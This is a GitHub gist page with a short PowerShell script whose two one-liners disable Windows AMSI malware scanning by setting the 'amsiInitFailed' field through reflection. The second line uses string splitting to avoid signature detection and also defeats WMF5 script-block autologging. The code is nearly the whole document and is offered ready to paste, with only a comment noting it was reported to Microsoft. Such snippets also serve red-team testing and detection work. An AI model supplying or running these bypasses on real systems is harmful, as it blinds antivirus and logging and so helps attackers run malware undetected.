Skip to content

Instantly share code, notes, and snippets.

@podjackel

podjackel/amsi_and_autologging_bypass.ps1

Created August 12, 2021 01:24
Show Gist options
  • Save podjackel/57b570a02850c797ee1e2a5d782df297 to your computer and use it in GitHub Desktop.
Save podjackel/57b570a02850c797ee1e2a5d782df297 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
amsi_and_autologging_bypass.ps1
# My original AMSI bypass - does not attempt to bypass WMF autologging
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Modified AMSI bypass that also bypasses WMF5 autologging.
# This was reported to MS. CreateDelegate simply needs to be added to the "suspicious" signature list.
[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment